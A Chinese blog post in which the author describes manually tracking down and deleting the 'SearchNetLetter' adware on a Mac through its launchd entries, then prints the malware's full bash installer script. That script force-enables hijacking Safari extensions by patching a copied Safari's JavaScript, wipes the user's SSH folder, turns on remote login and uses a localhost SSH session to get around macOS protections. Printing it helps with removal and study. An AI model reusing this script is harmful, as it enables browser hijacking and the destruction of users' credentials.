记一次Mac下手工查杀病毒/流氓软件的过程

最近Mac系统总是风扇不停的响，不像往常那么安宁，而且iterm2打开新tab时出现unable to fork, too many process... 或在命令行执行ls时出现 zsh: fork failed: resources temporary unavailable，而且系统经常死机，得强制关机重启，后来发现一个可疑进程：SearchNetLetter，于是用activity monitor查看进程路径：

/private/var/root/.SearchNetLetter/SearchNetLetter
/private/var/root/.SearchNetLetter/SearchNetLetterDaemon
~/Library/Application Support/Advanced Mac Tuneup

并尝试去杀掉该进程，发现杀不掉，发现其父进程是launchd，于是查了一下资料：Mac服务管理-Launchd（转），在以下几个位置查找该进程的注册文件：

/System/Library/LaunchDaemons
/Library/LaunchDaemons
/System/Library/LaunchAgents
/Library/LaunchAgents
~/Library/LaunchAgents

同时在文件中发现了其他启动路径：

/private/var/root/.SearchNetLetter/SearchNetLetter
/private/var/root/.SearchNetLetter/SearchNetLetterDaemon
/Library/Application Support/com.SearchNetLetterDaemon/SearchNetLetter

然后删除这些文件夹，重启，系统恢复了往日的宁静。

【更新】附上病毒脚本的源代码：

#!/bin/bash
scriptPath="$0"
displayName="$1"
bundleId="$2"
activeUser=$(/usr/bin/stat -f %Su /dev/console);
activeUserPath=$(eval echo ~$activeUser)
originalSafariPath="/Applications/Safari.app"
newSafariPath="/tmp/Safari.app"
targetJSFilePath="$newSafariPath/Contents/Resources/ExtensionsPreferencesView.js"
originalWindowState="/tmp/w"
newWindowStateTarget="$activeUserPath/Library/Containers/com.apple.Safari/Data/Library/Saved Application State/com.apple.Safari.savedState"
windowStateTarget="$activeUserPath/Library/Saved Application State/com.apple.Safari.savedState"
appExt="/Applications/$displayName.app"
plistPath="$activeUserPath/Library/Containers/$bundleId/Data/Library/Preferences/shared.$bundleId.plist"

killall pkd
/bin/sleep 3

IFS=$'\n'
global_rematch() { 
    local s=$1 regex=$2 
    while [[ $s =~ $regex ]]; do 
        /usr/bin/su -l $activeUser -c "/usr/bin/pluginkit -r \"${BASH_REMATCH[1]}\""
        s=${s#*"${BASH_REMATCH[1]}"}
    done
}

IFS=$'\n'
for i in $(/usr/bin/su -l $activeUser -c "/usr/bin/pluginkit -mAvvv NSExtensionPointName=com.apple.Safari.extension"); do
    global_rematch "$i" "Path = (.*appex)"
done

killall pkd
/bin/sleep 3

chmod -R 777 "$originalWindowState"
chown -R $activeUser:wheel "$originalWindowState"

/bin/rm -rf "$newSafariPath"
/bin/cp -Rf "$originalSafariPath" "$newSafariPath"

/usr/bin/sed -i '' '674i\'$'\n''ExtensionsPreferencesViewController.setExtensionEnabled(extension.identifier, extension.displayName == "'$displayName'" || extension.displayName == "AnySearch" || extension.displayName == "SearchIt");' "$targetJSFilePath"

authKeys='/tmp/authorized_keys'
tmpFile="/tmp/$(/usr/bin/uuidgen)"
sshFolder="$activeUserPath/.ssh"
/usr/bin/sudo -u $activeUser /usr/bin/ssh-keygen -f "$tmpFile" -q -N ''
/usr/bin/sudo -u $activeUser /bin/rm -rf "$sshFolder"
/usr/bin/sudo -u $activeUser /bin/mkdir -p "$sshFolder"
/usr/bin/sudo -u $activeUser /usr/bin/touch "$authKeys"
/bin/cat "$tmpFile.pub" >> "$sshFolder/authorized_keys"

/usr/sbin/systemsetup -setremotelogin on
/usr/bin/sudo -u $activeUser /usr/bin/open -njg "$appExt" --args smute
/usr/bin/killall "Safari"
/bin/sleep 1s
/usr/bin/killall "Safari"
/bin/sleep 1s
/usr/bin/killall "Safari"
/bin/sleep 1s
/usr/bin/killall "Safari"
/bin/sleep 1s
/usr/bin/killall "Safari"
/bin/sleep 1s
/usr/bin/killall "Safari"
/usr/bin/sudo -u $activeUser /usr/bin/ssh -o NoHostAuthenticationForLocalhost=yes -i "$tmpFile" localhost "/bin/rm -rf \"$windowStateTarget\"; /bin/mkdir -p \"$windowStateTarget\"; /bin/cp -rf \"$originalWindowState/.\" \"$windowStateTarget\";"
/usr/bin/sudo -u $activeUser /usr/bin/ssh -o NoHostAuthenticationForLocalhost=yes -i "$tmpFile" localhost "/bin/rm -rf \"$newWindowStateTarget\"; /bin/mkdir \"$newWindowStateTarget\"; /bin/cp -rf \"$originalWindowState/.\" \"$newWindowStateTarget\";"
/usr/bin/sudo -u $activeUser /usr/bin/open -njg "$newSafariPath"
delay=6
/bin/sleep $delay
case "$(defaults read "$plistPath" installed)" in
  1) delay=1 ;;
  *) delay=3 ;;
esac
/bin/sleep $delay
case "$(defaults read "$plistPath" installed)" in
  1) delay=1 ;;
  *) delay=3 ;;
esac
/bin/sleep $delay
case "$(defaults read "$plistPath" installed)" in
  1) delay=1 ;;
  *) delay=3 ;;
esac
/bin/sleep $delay
case "$(defaults read "$plistPath" installed)" in
  1) delay=1 ;;
  *) delay=3 ;;
esac
/bin/sleep $delay
case "$(defaults read "$plistPath" installed)" in
  1) delay=1 ;;
  *) delay=3 ;;
esac
/bin/sleep $delay
/usr/bin/killall "Safari"
/bin/sleep 1s
/usr/bin/sudo -u $activeUser /usr/bin/ssh -o NoHostAuthenticationForLocalhost=yes -i "$tmpFile" localhost "/bin/rm -rf \"$windowStateTarget\";"
/usr/bin/sudo -u $activeUser /usr/bin/ssh -o NoHostAuthenticationForLocalhost=yes -i "$tmpFile" localhost "/bin/rm -rf \"$newWindowStateTarget\";"
/usr/bin/killall "$displayName"

/usr/sbin/systemsetup -f -setremotelogin off
/bin/rm -rf "$tmpFile"
/bin/rm -rf "$tmpFile.pub"
/bin/rm -rf "$authKeys"
/bin/rm -rf "$sshFolder"
/bin/rm -rf "$newSafariPath"

/bin/rm -- "$scriptPath"
/bin/rm -rf "$originalWindowState"